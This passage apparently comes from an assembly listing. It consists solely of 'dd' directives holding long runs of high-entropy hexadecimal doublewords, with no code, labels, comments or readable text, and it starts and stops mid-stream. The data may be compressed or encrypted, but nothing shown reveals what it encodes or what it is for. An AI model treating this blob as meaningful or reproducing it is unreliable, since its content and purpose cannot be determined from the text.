0CE1984EBh, 8EBD2C26h, 18612FF0h, 8B57E642h, 4838ACF8h dd 0D0484BAh, 5CBB8A9Bh, 4CA684A0h, 0ED84BC45h, 58B21E40h dd 0C8F212ABh, 9EE760C6h, 0BE411A1h, 37127035h, 48D06E4Bh dd 0B77DCBD7h, 410748A3h, 61D0595Dh, 90083F60h, 40B65501h dd 7BBB0D7Ch, 0BC4A614Ah, 58326834h, 906C13C1h, 0CEA56098h dd 5706A6D1h, 0E425591Ah, 877870EBh, 0E2561094h, 0B7903560h dd 1A9FC3E1h, 2D712388h, 920C910Ah, 0F2182A1Bh, 0CC7468ABh dd 832B2D4Eh, 3679DC44h, 58282181h, 3F44209Eh, 5DEB14D8h dd 0CA04A099h, 0AE72E5E1h, 0D603CC61h, 190C7079h, 8D288A80h dd 0C915391Fh, 0B6BDEB85h, 0A310A8EDh, 8276C86Bh, 5613C319h dd 600B88E8h, 260AB4BEh, 2ABCACAFh, 0E00B24F3h, 284C017Dh dd 0CBC9820h, 883B4EDEh, 0AA110121h, 0FBD6A0D4h, 85B057B9h dd 0D0400B2Eh, 5119DC00h, 491C5FFh, 70104423h, 0DCA9B788h dd 88F5CA45h, 44C69830h, 0FA255452h, 357C7A70h, 0D41A757h dd 9091AE04h, 0B6C8B718h, 0F8379F64h, 1C54AF64h, 2910E323h dd 170B1894h, 0E0D18E76h, 64739A61h, 89BD4091h, 0A72C543Fh dd 0A3C2A03Bh, 0D4656856h, 6A2E13FFh, 98F21690h, 0D8847480h dd 0C82514B2h, 0B30310F5h, 9287FECAh, 386EE016h, 5CF6CC07h dd 0D6E50D00h, 55E2336Ah, 5EC71548h, 5128840Ch, 0D10F4C81h dd 0E1389850h, 214E60F6h, 2231B601h, 23070C90h, 0CF976ECh dd 457CD4C9h, 231CE4F1h, 8659E1FBh, 35B69118h, 0CB9D1839h dd 2985515Fh, 9854EC00h, 0D76DDD21h, 6B74000Ch, 50C81102h dd 4B00980h, 0A6916F63h, 14E4AC9Ch, 80FB48D8h, 57ABC781h dd 0DCD42031h, 890DE0C1h, 4AD1A1AEh, 14BE832Eh, 1D7E193Ah dd 84E7C875h, 47AB5878h, 0C18D77E8h, 0CCCCAEE3h, 0F494A941h dd 861B6783h, 78091D52h dd 3ED1C0A4h, 3657A125h, 5728503Ah, 0B807334Ch, 29A881AEh dd 8811E048h, 48C799A9h, 5101C941h, 0F0912480h, 0A011278Eh dd 0A326D4ECh, 6ECB806Bh, 54E95305h, 0C000F6FBh, 7F270855h dd 60FC9E6Bh, 9C25BAD8h, 4830EEE8h, 2BD218B4h, 2166674Eh dd 0F6AB826Eh, 3D8220DEh, 4A3A72C6h, 6C8448D8h, 45550388h dd 0AC5F10C8h, 24697117h, 602884A0h, 17A8711Fh, 5B04C9B8h dd 4F534A06h, 0AD80BCFCh, 0C781619h, 2710D201h, 28593A14h dd 94F4091h, 85128097h, 90465B20h, 45101B81h, 72104033h dd 98002AD8h, 3C7E6819h, 8877F6E4h, 0CC4EC920h, 8574E814h dd 0BC41876Dh, 0D197A780h, 97240D20h, 0E0B10C11h, 0F7E0F321h dd 88500B00h, 161A38BCh, 5B1C0929h, 2C043F58h, 39D940F6h dd 0E8886B9Fh, 0AF493D69h, 9D964301h, 50B2F277h, 392040C0h dd 0FEE13301h, 0FF98B341h, 89A2F030h, 271C245Ah, 8859ED68h dd 110530BCh, 967396Fh, 451E0620h, 309F0C05h, 0A621D4D4h dd 604A6896h, 0A6C605C3h, 26649021h, 0A843D89h, 50CBE03h dd 0ED5F261Bh, 4A9048F8h, 0B6F8C8h, 493CA741h, 0FBD72987h dd 8CD03B26h, 3D161423h, 308D380Ah, 4F73C608h, 64C3B389h dd 0A900C893h, 0D6FA199Bh, 5591D4h, 0A5A08301h, 0B6671308h dd 50649Fh, 7C1DA649h, 918BDC1Ah, 0CF9CF809h, 0A3041147h dd 280B6831h, 35A639C2h, 9AAC011Dh, 40312071h, 0F6A0932Ch dd 22C06954h, 68BF3D2Ch, 45005211h, 3B691A2Ch, 39240EECh dd 0EB641C51h, 836BA430h, 9C0BB017h, 23E08845h, 25D59827h dd 0ABF8F0C8h, 102DF20Ch, 208424B0h, 0D6042C37h, 1181967h dd 0FCA498C3h, 11A03EFFh, 84F84584h, 0DCE04542h, 0A81EEDCAh dd 0C4CC67E1h, 0B777808Fh, 13600C4Dh, 3FF81AEh, 6AC57092h dd 0A027C6E8h, 0A4F40546h, 2F2D060h, 0C020BF4Fh, 0D16F2258h dd 17693503h, 504A0455h, 0EA6B2129h, 24A84D08h, 1C4EE614h dd 4B413C06h, 20C189A5h, 0F3D310B8h, 902162D1h, 23702F7Fh dd 80F71C5Dh, 4CE5C80Ch, 4F11DD9Ch, 3F01A6F1h, 0DFCF799Bh dd 0D9A0407Bh, 9E07ECFBh, 0F2D6C06Ah, 1F1295Ch, 29AD04B0h dd 302880B9h, 0BB006A20h, 5A156BBAh, 2FA66E63h, 0FC4579DCh dd 0E660B5C4h, 340FD538h, 931B0D65h, 0B0D428FDh, 4B6BC502h dd 0EC7BF087h, 0D3FB9E00h, 445E6DE7h, 0AD0E9551h, 0C349FA87h dd 0D866F305h, 7A12AF4h, 6AD80E24h, 60413786h, 6976F8A3h dd 0C08C845Ah, 26EF297h, 0E8C6EB0Fh, 0F5826AD3h, 80C6D0DAh dd 452D3AECh, 718CD17Ah, 0EC18ACh, 97F29C63h, 5489F724h dd 1028E448h, 6927A3BEh, 0B600DC44h, 0BD2EC7Bh, 0B651C3FBh dd 4603006Bh, 6E83A02Dh, 4C9D603h, 0AF21F6BEh, 9D89DD8Fh dd 347659h, 8898B6FFh, 4A210E6Fh, 0F85125A4h, 0B4186159h dd 0F560B10Fh, 0F423E01Ch, 2C0D25B8h, 43C45EEDh, 39A03AA5h dd 0C200D4EFh, 35034751h, 5F8DD01h, 21BE77D2h, 80ECA899h dd 0FA0CD591h, 60C1005Ch, 2D6B85E1h, 0D100EAE7h, 0CBA724F6h dd 4A9F7BD4h, 0B4600E75h, 9868F98Bh, 8E075650h, 0D6DBFF77h dd 1519B8C6h, 0A0A620CCh, 0D1B54F16h, 10A0D284h, 98269C9Dh dd 294A63A0h, 8DF1146Bh, 0BCBC7C6Eh, 22018C6Ah, 0D8E60EF6h dd 94309736h, 0CF9F5B40h, 0A84F8494h, 887AB21h, 20E8857Ch dd 8C585D70h, 0C91A502Fh, 0A82DF644h, 0A3C1A500h, 0C29493D7h dd 420929EAh, 9D9878E3h, 0C063113Ch, 0B75DA1CEh, 7E5C263Ch dd 9F1128h, 33DB8153h, 4D2FD27h, 2CC1BC6Ch, 0D023BF5Dh dd 4638F019h, 69F712EDh, 0E14CF06Ah, 0AE88109Fh, 655005Dh dd 5254273Ah, 0CD033EACh, 2350485Eh, 0F5491847h, 4A1E3167h dd 79EF3200h, 0B67EDB63h, 36413D96h, 0B801023Fh, 84836945h dd 7BFBD1AEh, 4BC5E840h, 1C3CDB71h, 8B11F670h, 21000915h dd 793708F7h, 0DD2328C0h, 5E1160BDh, 0C06CD739h, 945C21C3h dd 0A36B3300h, 3E129E44h, 3D357755h, 69004F7Eh, 0B7D439CEh dd 0F22AACFEh, 1C3C90B1h, 930D00C3h, 0CA902C6Eh, 0FBDC000Eh dd 0E253A488h, 0F7036583h, 0F569230Bh, 0B3E1A075h, 88B8008Ah dd 0D4711701h, 6AFB517Ah, 5D66C88h, 30E3D272h, 603890A0h dd 5F13D0B6h, 0E4048445h, 84C2D825h, 11CA2047h, 2F005A8Ch dd 1F76EBBh, 9D55BA7Ch, 2070E804h, 60F6F3B8h, 0C713118Bh dd 34E20B12h, 86887B00h, 0B52A5B82h, 0E67072DEh, 0BCFA48E6h dd 0CF9A9380h, 5F7FE9FCh, 550798B8h, 0AF6F39C9h, 220EE4F0h dd 0D4D700D8h, 4B666A37h, 0C800AEBCh, 4AB392A5h, 509A04B1h dd 61D20453h, 4CE411AAh, 6EC0DC4Eh, 8103BD00h, 6833F6DCh dd 249019h, 31D804E6h, 34554A7Eh, 0CB12FD17h, 0C0405B1Bh dd 3CA2FFBh, 0D01130F3h, 2800C26Ah, 49C1702Ch, 1D99E6F6h dd 33FE454Eh, 68A03471h, 58608978h, 6DAC3820h, 0BDD7002Eh dd 0BF2C7C4Fh, 8A003F6Ah, 9CB33235h, 0E97621h, 702ED503h dd 79AF235Bh, 0EC141D07h, 77479094h, 0DBCC30E0h, 88132802h dd 0B0288344h, 0C0800D7Ah, 78361231h, 0E0C0DF31h, 0F8266810h dd 32553E44h, 18E7F118h, 9244D7D6h, 0AD68106Fh, 2B4A01F4h dd 0BEE9BD89h, 0D06998ECh, 0AF1B9431h, 15E130EBh, 0FBBAE111h dd 9C36103Ch, 7037FF34h, 2FA32C2h, 0CC9225D4h, 183F0437h dd 0AC10AD90h, 0B4E7509Fh, 4FF42859h, 8E5B0094h, 322E65FAh dd 80A0EFA5h, 0EB0363ACh, 8051BDD4h, 0AA291152h, 0F1C311F8h dd 0FB00CF22h, 6398B080h, 40111Eh, 0F4651246h, 10C8D8E9h dd 2BCCCB00h, 88C24E36h, 52470098h, 0EAEFAEEBh, 0D100CE03h dd 3706D611h, 3DCB383h, 0BD7654D7h, 0A298A57Dh, 9F487DBh dd 1AA86800h, 17FFF7A0h, 1D2F07C5h, 83557A39h, 0A3A85D4Dh dd 8B8F2CCh, 0C492E800h, 0BE98510Bh, 4272AF4h, 8D6F008Ch dd 838E7A3Eh, 0B40413BBh, 0F7A9BE45h, 86C083C7h, 3F2DEC51h dd 5BEA838h, 6EACC80Ah, 1EF181A8h, 80839116h, 7B08D8A0h dd 1F4547Eh, 0E0A8973Bh, 801524ECh, 0B306BC61h, 6069E144h dd 25DA5035h, 5D0103F4h, 90ECAE6Ah, 0AE20112Fh, 0E2E002Dh dd 0D61D3166h, 2C1E48A3h, 0F2C08D3Fh, 0F8CBB02Ah, 0B96800B8h dd 493E179Ah, 0AB00484Dh, 3213BAFFh, 287A23BEh, 3F8058B1h dd 882C0EA2h, 112A0225h, 0AAE05D87h, 4C004BC6h, 0FCBBDACFh dd 291EE8h, 8CB5C1ADh, 60538C7h, 0DBFFA2Ch, 3E0EA14h, 0E1AA933Dh dd 0B5B79835h, 0B1A800A0h, 73852C5h, 9900BB01h, 5010157Ah dd 0EC9DF30h, 691625C6h, 2FA08AE0h, 0F909C5B7h, 2066D320h dd 9FE21C4Ch, 70D7F8Bh, 189B0145h, 4465404Bh, 2900E96Ch dd 0EF26BCC6h, 78291C8h, 722E9F78h, 0E94B4069h, 0A600D817h dd 0B0999522h, 67DF44C7h, 8405F123h, 3BC8C010h, 3F18C3B5h dd 8F780360h, 0EDA40765h, 507581F6h, 4819065Ah, 7C3D3E00h dd 0CFDF9EE5h, 16222C79h, 468038B8h, 7F42938Fh, 0A50EB0E8h dd 20CB49F4h, 0EC419737h, 120492EFh, 166BB159h, 2E6D0048h dd 0CD0D6894h, 0AE97F10Eh, 0F89C6C7Ah, 9AEE0002h, 2C87109Bh dd 76001A3Dh, 8D99DDE7h, 92D9B1FBh, 77F1001Ch, 50F853E4h dd 0C81C7F72h, 2240B640h, 3C219A47h, 128C037h, 9F7DE32h dd 0BD7A569Ah, 0CE6F6D00h, 79CA5A47h, 18DA602Dh, 8F95E543h dd 0C3211B00h, 0C291F037h, 7D8818EDh, 4EAFEFEh, 0ACCA2D3Ah dd 0A901B9A3h, 6A93DC2Ah, 3BE98CF8h, 0C9E3279Eh, 7CC00DB9h dd 0D1007232h dd 0F4C676DFh, 7224EAC2h, 8C0A0016h, 548F512Fh, 76039D58h dd 0F0CC6914h, 7481FC68h, 67E8C1CBh, 0BEB10761h, 7098C446h dd 0F5CEBF39h, 962D758h, 0E075FA3h, 0A29C218Fh, 80462596h dd 31EC00A6h, 9937C039h, 30078F94h, 646279FEh, 382940FFh dd 0E2DC9AE1h, 9176C7h, 2C7F4E11h, 19AF285Eh, 0E610F41Ch dd 7586BAC4h, 4EA6E8C0h, 6A7D0031h, 0D57E2DB0h, 19003EC6h dd 0A7C12821h, 5CF13B08h, 7D07DB2Ah, 70792DA1h, 0A57CF414h dd 0C7489900h, 5478C494h, 0CF028B6h, 89C80092h, 0D5665832h dd 770BBD22h, 804B5459h, 98866DD5h, 8E9500BCh, 90D9236Ah dd 0E101B3D2h, 651D31Bh, 98FF1C93h, 1782C53h, 0CFD8F368h dd 20237CDCh, 0EB00A6ACh, 8DD6ECABh, 0A5785Fh, 3C06BAAEh dd 86D5D3FDh, 9BC00400h, 84EFCB4Dh, 0BFFB24DFh, 0FD7C034Ah dd 0C69A6EF6h, 0D649C480h, 3B00511Ch, 0F1B17419h, 6E6392h dd 60AF3135h, 8377DD16h, 0B4E21FF2h, 3400C8FAh, 8F1185B8h dd 9D8AEF0h, 0B6A0A5F4h, 87730C07h, 27E35321h, 669842C8h dd 39557E00h, 1F304483h, 31A10074h, 0C9100FBDh, 0DE9042A3h dd 25836D00h, 238D41D6h, 3F51005Eh, 377DA2B4h, 0C1383CBEh dd 0E99F0456h, 0A7852DAFh, 1FC6C00h, 24C23AF8h, 38FE28h dd 0FF48826h, 0D3023F2Fh, 0BA67DE3Dh, 3A34E8F6h, 9A8D1855h dd 776828A2h, 253E4F0Ah, 830EC615h, 0F84F73E7h, 0EB79C016h dd 1C059A46h, 5D207266h, 9F8B8EDDh, 34BED180h, 6D007523h dd 0A497C604h, 0A2B0CFh, 1ADD8CBFh, 0A0687418h, 0BE2F3400h dd 97929B35h, 73B600F5h, 5A663B44h, 3400C7A3h, 3FFD24F7h dd 7F1F8149h, 5C054C5Ch, 0BFF0AB00h, 0A10E93C8h, 6099F5ECh dd 41580900h, 587B3C3Bh, 1807D9E6h, 0A7C1F8C8h, 945B105Fh dd 817F48FDh, 0F2A7B607h, 64820CC2h, 955C6082h, 6958004Dh dd 0C3890710h, 0A4902D5Eh, 0DFB49200h, 0E1F0B380h, 0A4A104F1h dd 0D06B6FC8h, 7E88D678h, 6334CD07h, 8D70B005h, 0E073ABh dd 3C1DAF8Eh, 0B9095B56h, 0B0FB6516h, 38BC0Bh, 0EB4FA569h dd 830A0950h, 2B80C5CFh, 0C87D6430h, 8E66153Ah, 1CDE13Bh dd 0D5298D84h, 1CD99860h, 0D6BBB7h, 313C5E4Dh, 0DE65367h dd 1A0504B0h, 0AC883087h, 0B9547CD0h, 98480006h, 0BF9D95FCh dd 974CFBB4h, 6B900003h, 0E327EACAh, 7EA307EFh, 50E69645h dd 0B6DBB89Fh, 3EF4FC00h, 0F3817299h, 0AB722Ch, 0A5CC8E61h dd 2AB61108h, 80102648h, 85ADAE1Bh, 0FCF70F96h, 2A651192h dd 19100343h, 9903ADA9h, 1F6DF930h, 0D26ED832h, 10E900D5h dd 2492A4DFh, 4B00A189h, 0FA3C7D85h, 1AABB1Eh, 0A4E71336h dd 7556CE83h, 0F71C0360h, 378E183Ah, 93F361C4h, 6CF9B811h dd 9981C092h, 1FD329Bh, 0D1342507h, 6280226Eh, 0C5C51219h dd 0C422A39h, 90900F58h, 0A5071300h, 2AB811B7h, 1878A828h dd 668520C5h, 7AE5B1Dh, 2F742E80h, 1034F8h, 9C56A2CDh dd 22AD0C0Bh, 1800904Ah, 0D27A6E52h, 79FA67ABh, 0C85E8651h dd 7E600127h, 0EB6E0E0Eh, 11193781h, 4F802469h, 55487A03h dd 8BD175B8h, 0D787E062h, 0A449C0BFh, 384E86AAh, 3F0F849h dd 33EAB481h, 0F3CAE1C3h, 0E21472F0h, 3F11072Ch, 5639D0A5h dd 19F2D0B9h, 0D887BB09h, 0D2346078h, 6808C05Ch, 0B2C0986Bh dd 52B3041Fh, 608DB03Bh, 0A057F15Bh, 60FC3288h, 7ACE0F3h dd 0C390D517h, 745EA25h, 6604FE9Ch, 4AF5B404h, 971014F3h dd 44085A84h, 9F48F7A5h, 107700A4h, 4B25C980h, 0F313B158h dd 20542870h, 5D2C1106h, 0D88CBC7Fh, 40C42969h, 5E00896Bh dd 16A14FFBh, 76136Ch, 0CDFCA6DFh, 35EF41D2h, 6F7C360Eh dd 14D50131h, 0CEC8228Eh, 9C2C00A4h, 3B48ECC5h, 26003AB8h dd 375F6373h, 926214h, 0DD6EE810h, 9FF14BB6h, 7DFCAE00h dd 0BA16B7E1h, 0C400089h, 639B5236h, 0C300A46Bh, 0B390120Dh dd 0E89CD0h, 0BBD297BAh, 62468838h, 0C978F275h, 14255E09h dd 971400E8h, 4055C5Dh, 9BAD79FFh, 1560B462h, 0A6DD7407h dd 6A97C7D7h, 649034C7h, 18B875Eh, 0A920778Ah, 0EC01ECEDh dd 4F050FD3h, 7D17F439h, 0E031AC0Fh, 8F9FDE83h, 0DCB32AF9h dd 0C168009Ch, 0D4B4A169h, 0F700877Ch, 0E875EA29h, 0A3E3F6h dd 8B2E3D0Fh, 8EE3373h, 611E6C75h, 76C04D3Ch, 2BC410BFh dd 0F27DE641h, 889800DDh, 91379C51h, 9E01D532h, 74BF55BEh dd 8834785Bh, 744AED4h, 0B8C12CE5h, 1067B7C5h, 7487ADF4h dd 304FF4A8h, 60CC2218h, 0C13A311h, 0AAAF081Ch, 48009641h dd 0E9950CD4h, 0AD7F77h, 3AA44AE8h, 9DFDE063h, 7855BC03h dd 0CF170B4Eh, 2C90A274h, 0FCB30Ah, 9CCC1FE1h, 47988CDCh dd 0B1001776h, 4C5DC303h, 92C71Eh, 27404293h, 6F56AB6Bh dd 0F91AAA01h, 75E4622Bh, 0A3BC20h, 49A485Fh, 0EEF3A878h dd 0F1AA7D00h, 72C6F8E5h, 0A2CB003Ch, 850837A4h, 0A1075E40h dd 71836E0Ch, 0E0815214h, 0E450A8EAh, 0AD0C9h, 0AE3403E3h dd 2415A0B7h, 7A465A00h, 4CEFDB28h, 0C3D51CA2h, 40EE5FBAh dd 0F9506121h, 0A6075202h, 45B0F2B2h, 7E2F9570h, 725C01BDh dd 3014705Dh, 0E580500Eh, 0FF008396h, 1A3D31D8h, 2ED00AB6h dd 0D0EF24h, 82061056h, 5D1233D4h, 8501ABE9h, 858C9362h dd 762367C4h, 0A7A500E8h, 83BEF897h, 0B7505DD3h, 0A038B84h dd 6FC42B9Dh, 0BEB0E0ACh, 1C410056h, 1AB3674Dh, 8D005342h dd 7F104983h, 0B0A645BFh, 86EF0070h, 0C8F5F8CBh, 0BB000E1Bh dd 7D23C526h, 0ED14EFEh, 7E5479A5h, 9067724Eh, 3B6FC050h dd 8F1033EEh, 0FF00032Bh, 679CB454h, 0D40004F2h, 0F869368Ah dd 5CCACEDh, 5FD0CF14h, 8C970E2Ah, 1F768B21h, 0F7DD40C3h dd 6500D561h, 673AFB9Ah, 505BF0A7h, 127DA480h, 1BC189h dd 988D4464h, 5404340Ah, 0ACBE8F1Dh, 0FC5522C3h, 513A3C80h dd 0CF7800A3h, 7931DAA5h, 187C86B8h, 22596501h, 41973CECh dd 1BE4E0h, 52FC4D5Ah, 956C2B1Fh, 60346300h, 8F64B4CEh dd 0BD2F00CFh, 0BBA7D094h, 0D87320E4h, 680984B2h, 60D6B2A3h dd 23A3B54h, 93110B62h, 6F227977h, 1AA0802Bh, 0FAE9849h dd 0CC672A84h, 0AF0C8FE0h, 0D11C1DC8h, 0E04A5159h, 3ADCA8h dd 0DBD32C22h, 4D6E1Fh, 4376613Fh, 23A3B151h, 3DAE2600h dd 8C173CCFh, 0BC1F007Bh, 0C99E139h, 3A00452Bh, 8096EEE5h dd 0FB2FCCh, 0FD4830B7h, 28B2846Bh, 2048506Eh, 0BC376E2Ch dd 0D1930049h, 7DB7E560h, 560E0475h, 0E3A3141Fh, 0B7EB98E3h dd 3B2B6030h, 407A1C67h, 0E21800E0h, 0F871AF02h, 0D170F20Fh dd 0C3C01FDBh, 61C79D1Eh, 7B37CE9h, 0C43E98A7h, 8E20EF47h dd 0EAD18D1Bh, 0F5C9FCFDh, 985D3100h, 0A4771DA3h, 1745004Bh dd 6DEB6809h, 0D900BCAFh, 297D59CBh, 9491DAh, 7CA4309Ah dd 1E7044EAh, 16E60800h, 7E3F62E5h, 5F4C0059h, 0C394180Dh dd 107398D8h, 0CA723B00h, 6C650A07h, 0C02000BEh, 0BF402D1Bh dd 2F008A5Dh, 96384729h, 17A4968h, 6AD704FBh, 0C439A6FCh dd 0F30017FAh, 4A5E7F84h, 7820DA9Eh, 8E681E7Bh, 0C041DC29h dd 9B7D6F8Dh, 0F200A82Eh, 76BF2CDBh, 4D6B07h, 9DF5056Eh dd 29C18ED6h, 8DDD3800h, 935CD9C0h, 0ED0D04EFh, 0C0BC7B0Eh dd 79A76E83h, 9FB0F461h, 0B9E8E314h, 0E68E0021h, 6F526B54h dd 6D000204h, 0A7ABC3B1h, 1CDBD783h, 3B7B6AEh, 0A91A9A88h dd 5A2CF7C8h, 91118900h dd 6BE0F367h, 0B2E8005Dh, 5926CA1Dh, 7E00A1A6h, 0D6F502BCh dd 3F7DD1C7h, 0E513F0B3h, 1891008Bh, 0F6FE89E8h, 0D39F1209h dd 43442008h, 0E570ECCh, 0F23369DCh, 9DD78500h, 0F60E2494h dd 0E343B43Eh, 0B60B3903h, 5BCB0098h, 80609A87h, 8200B820h dd 1811CF22h, 24F09113h, 2003BBh, 61E83DBEh, 0BD3BB6E4h dd 0FAC8BAh, 0AC041A4Ch, 1EBB124h, 0D4361208h, 0D830D04Ah dd 0C30496A4h, 0E6BDA37Ch, 0C8D33090h, 0AE21036Dh, 33A53938h dd 3C598BB8h, 7527900h, 80E5B173h, 946618E1h, 3370D88Eh dd 3641866Fh, 0E449B001h, 2080A3BAh, 71BF3F92h, 0D1005E7Eh dd 8CE78997h, 54851EA0h, 0EE8C8Dh, 864AA439h, 5E920F55h dd 0FC74F200h, 85594FBBh, 0C1270094h, 0A77D2DE2h, 5B059048h dd 0B565AB0Dh, 50C80180h, 9D5C0152h, 70C192Ch, 558801Ch dd 210BD565h, 3511CF55h, 0AC81D00Fh, 80936130h, 0B5A40B81h dd 1D6DAB22h, 832C8Dh, 0F7A3A86h, 14000372h, 711741EBh dd 0A2F2A68h, 60306D9Bh, 0B4660620h, 0C807F0B5h, 4D0BBFD5h dd 0FF349F40h, 415A0037h, 38AB73C6h, 0BF01C5CAh, 2510C83Dh dd 40804DCEh, 9FF0D28Eh, 0D538450Fh, 5DBAD7h, 0B58D0BDEh dd 0E66CA8Ch, 3BE57B2Ch, 0E71DAB60h, 0EF00E36Fh, 3ACF93E9h dd 32D69DAh, 0A6B70148h, 8C81CAD1h, 78A18090h, 9B611FF0h dd 1B6002Fh, 2E898704h, 0F118D0B8h, 0CE286453h, 3A980FD7h dd 1B8E9690h, 94B56260h, 87011FAAh, 0C62F8E30h, 0F0E1E9FBh dd 6D66E0h, 0F01091Ah, 832D5F80h, 3815906h, 12D9D088h dd 47961851h, 705DCF14h, 0C21D4209h, 43584400h, 3693716Fh dd 0D6200FDh, 0D58F307Bh, 24E8B021h, 817AE800h, 682F74CEh dd 0D08000F1h, 6A3F52F6h, 1701AACBh, 1B7B309Fh, 88D02EBDh dd 124D78CCh, 201996D8h, 0ACAB1350h, 8075CF3Fh, 7BDA3E6Ah dd 7541A742h, 0D9FF0F9Fh, 0EA8F3395h, 81969C0h, 5472FC48h dd 7B566300h, 0F20C0978h, 0E7583DDEh, 0C96ABE00h, 7A824392h dd 4B8502Ch, 3ECE2300h, 1188388h, 0B984787Eh, 0DCDBF36Ch dd 777DC96Bh, 22D15103h, 7C3ABC9Fh, 43F5271h, 53FAC0FAh dd 90A6C86Ah, 3218C0CBh, 0D00F7592h, 6DD49501h, 34A047EFh dd 0C72FCCh, 0CC58FCA6h, 74DE333Fh, 42E829C8h, 82E4005h dd 76578859h, 3E84BC90h, 28D44A42h, 0B9B09008h, 43447042h dd 272284B8h, 392442ACh, 0A0CCC481h, 88AE3B14h, 98896CF8h dd 219024F2h, 0C12A423h, 1F372885h, 408A114h, 846090A3h dd 88443C8Ah, 0A268445Ah, 0CA423448h, 215C243Dh, 48129DD0h dd 89377110h, 44D60860h, 6A409C9Fh, 4A433EFCh, 0D5E600F9h dd 710AF14Fh, 0AC7212E4h, 0D0AD0B00h, 89299DB7h, 0F3880052h dd 920FF4Ah, 3600C672h, 0D96015ABh, 1303BC1h, 9954A0E7h dd 0EF57F448h, 70621D99h, 0AE008831h, 475CD1FBh, 7F399A2Ch dd 25312686h, 1D181C2Fh, 513700C2h, 0DEA4195Eh, 4DA82300h dd 0F2497548h, 7B60071Eh, 0EA5D0F7h, 0CB8A8240h, 2700EC51h dd 74E0528Dh, 60E44818h, 0C386B4EEh, 0F8000FC5h, 0A1F0368Ch dd 3F3E8E4Bh, 2880B1F4h, 23ADC36Ah, 0E7001357h, 0D2B66655h dd 92C8E2h, 60B17EFBh, 23BE1046h, 0B2D53E04h, 7893F330h dd 0CF2FE8FBh, 0A164031Ch, 33AE225Fh, 5D715000h, 0E8837A9Fh dd 8AC70041h, 23BD557Eh, 0A013188Bh, 344024BEh, 15D99890h dd 671100F3h, 0CDF9C6DAh, 0BEEE9C6Bh, 0E660A300h, 0F5454250h dd 933D0049h, 681591D3h, 0E9032C6Eh, 0CC8678C4h, 9CFAF0C3h dd 0D68D0755h, 802232F7h, 89679523h, 459A700h, 2C5376E1h dd 0DFA40118h, 8FC4A922h, 0E021E13Ah, 6F900A15h, 17FF9D0Fh dd 57E1006Bh, 1F1D7A40h, 4673EB4Bh, 1233AC3Bh, 8CA5B400h dd 81987E97h, 75D30059h, 5CE1B8BEh, 44148BD4h, 0BCCA2Bh dd 0F50E27E3h, 613D40h, 4D1DD616h, 341A7902h, 28A25C00h dd 2242AA0Dh, 0B60401EDh, 712C101Bh, 38287898h, 4A5B80C3h dd 0BA18C4E6h, 68D13D82h, 1F89EA6h, 0F22FC3Fh, 0A8B0FF70h dd 0D4766712h, 0FB0C361Dh, 4DACD880h, 0F82EFC7Dh, 615D0027h dd 8824214h, 2503DB6Dh, 49F492AAh, 340AB130h, 12FF85DCh dd 7C6C73Bh, 60DB6790h, 5D2D0D39h, 8D32707h, 0B350A362h dd 311D5C1h, 0C836200Ch, 0EEA84182h, 3E0117F4h, 6B152D81h dd 0DAEC1157h, 0FFD30028h, 0BBFE5A40h, 101E3A2Eh, 0A4CF13F8h dd 0B1EB0166h, 81C9F53Dh, 1609C6E8h, 955DA5h, 0E519F44Ah dd 2500F8E2h, 0A8BBF98Dh, 35DD2CCh, 44C1449h, 287F6EEEh dd 50025300h, 0D4EAB001h, 0AC2900CDh, 6DCE243Bh, 87E075B2h dd 62051D01h, 0C10E1140h, 49586824h, 0AB0BCCD2h, 0F6872AB5h dd 0E74AC8h, 0C0467ADEh, 0AD001EE0h, 97524F98h, 0D514654Eh dd 3D00D8C1h, 0E9C1ED60h, 0DA26CD0Ch, 0CA0CC38Ah, 310E7h dd 242AA6CEh, 114F8C60h, 3C4E310Eh, 0DA74C029h, 2C7817FBh dd 24CD5C93h, 18D70027h, 0BC5F4D6Ch, 0D6E16300h, 0E2108A8Eh dd 21D1008Dh, 3959AEE9h, 0F21C881Bh, 0FEC11A9Ah, 22CC0DCAh dd 0B606DCh, 0A041F86Fh, 0A77376FFh, 0FE8E2000h, 0BEC6CB07h dd 0DC3E0089h, 95A402B9h, 0D7029985h, 0B88C2ADh, 51EA4049h dd 0F1BB0069h, 795D7C32h, 7102CADBh, 430F1863h, 9DE4405Bh dd 52E8E5h, 0F07506B4h, 411AD56h, 0CDB239h, 5EF3CCAAh dd 294EBEh, 0ED1027F2h, 13A94097h, 58D7662Fh, 61F9000Ah dd 0C006CFDAh, 0A0989EB4h, 18797700h, 44D0EB94h, 7E111EF2h dd 49C5D8DFh, 200DE28h, 0F756916Fh, 2A9F8Ah, 124F38F9h dd 0ED21F4DDh, 39419009h, 0F60C80DEh, 0EBBE98h, 84D6A619h dd 7E0F94Dh, 3A44C101h, 0A29AF7DBh, 1891E0EEh, 8BEE007Ah dd 0EF01E3D4h, 3D00487Dh, 0D2CDF0CAh, 3470Fh, 0BF2B7618h dd 37CE28E4h, 96FEFF03h, 0BBA58513h, 88D5F0C1h, 0E4D700A8h dd 0BA76F1A0h, 4A004CF4h, 313627AFh, 389CC9CCh, 9B044DD3h dd 8764CA13h, 632F0048h, 4B01A8DCh, 0F04AFE7Fh, 9040A518h dd 70C43Bh, 0F36891AAh, 3548FBBFh, 0EF96300Eh, 94EECADCh dd 45360980h, 12A05E01h, 0FD79A5h, 56B022ECh, 0A97A5750h dd 0DCCAB701h, 351DD18Ch, 1C0EE0h, 0F758346Dh, 53C3DDD2h dd 88AAAF00h, 21F55118h, 5E4300AEh, 1A90E7CDh, 0FC7F01BCh dd 0CA006C7Dh, 489ABB87h, 2BDDFBh, 0E89CA9A7h, 596AAD4h dd 56405100h, 6841D8C9h, 44CA0085h, 5ED2F4A5h, 9A708FA7h dd 1D3D77F4h, 86BA3Ah, 0ABDF974Eh, 0A91CF0h, 0EEB1346Eh dd 0D2A36001h, 720DB70Eh, 193260EBh, 7C45BB11h, 857305D1h dd 0C0F30471h, 0F1783CCh, 11C153Dh, 8D40B130h, 2CC85CD5h dd 0F3FC0EF7h, 78209A4Bh, 417EB532h, 4558D301h, 0DF8168DAh dd 0B0202C20h, 102300B0h, 88E33157h, 0F8B0B2E8h, 3AE8AF59h dd 0F9870094h, 0CC32F809h, 0F20C00F6h, 7B6A316Eh, 82008CA6h dd 0B53AB22h, 0DE65BCh, 853AF806h, 6B671EFAh, 0D87230E8h dd 1192A700h, 0A3E897D5h, 1C520021h, 4D754202h, 0CE0718D8h dd 0F29547A5h, 74BD57B0h, 0C755Ch, 9BE9F53Ch, 0EC4FE92h dd 0CEA48C00h, 0DB119EF2h, 5A450055h, 8805E9FAh, 0EC012343h dd 0E50B1507h, 9140D3A0h, 7AE3EA2h, 